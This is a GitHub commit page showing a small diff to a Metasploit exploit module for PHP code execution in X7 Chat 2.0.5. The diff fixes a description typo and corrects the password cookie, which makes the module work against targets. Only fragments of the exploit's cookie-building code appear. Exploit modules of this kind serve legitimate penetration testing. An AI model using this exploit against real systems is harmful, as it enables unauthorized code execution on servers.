Skip to content

Commit 2e53027

Browse files
committed
Fix value of X7C2P cookie and typo
1 parent 9f21ac8 commit 2e53027

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/multi/http/x7chat2_php_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
1717
'Description' => %q{
18-
Library lib/message.php for X7 Chat version 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
18+
Library lib/message.php for X7 Chat versions 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
1919
This allows execute PHP code in the remote machine.
2020
},
2121
'License' => MSF_LICENSE,
@@ -51,7 +51,7 @@ def check
5151
def exec_php(php_code, check = false)
5252

5353
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
54-
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['USERNAME']) }"
54+
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
5555
rand_text = Rex::Text.rand_text_alpha(5, 8)
5656

5757
# remove comments, line breaks and spaces

0 commit comments

Comments
 (0)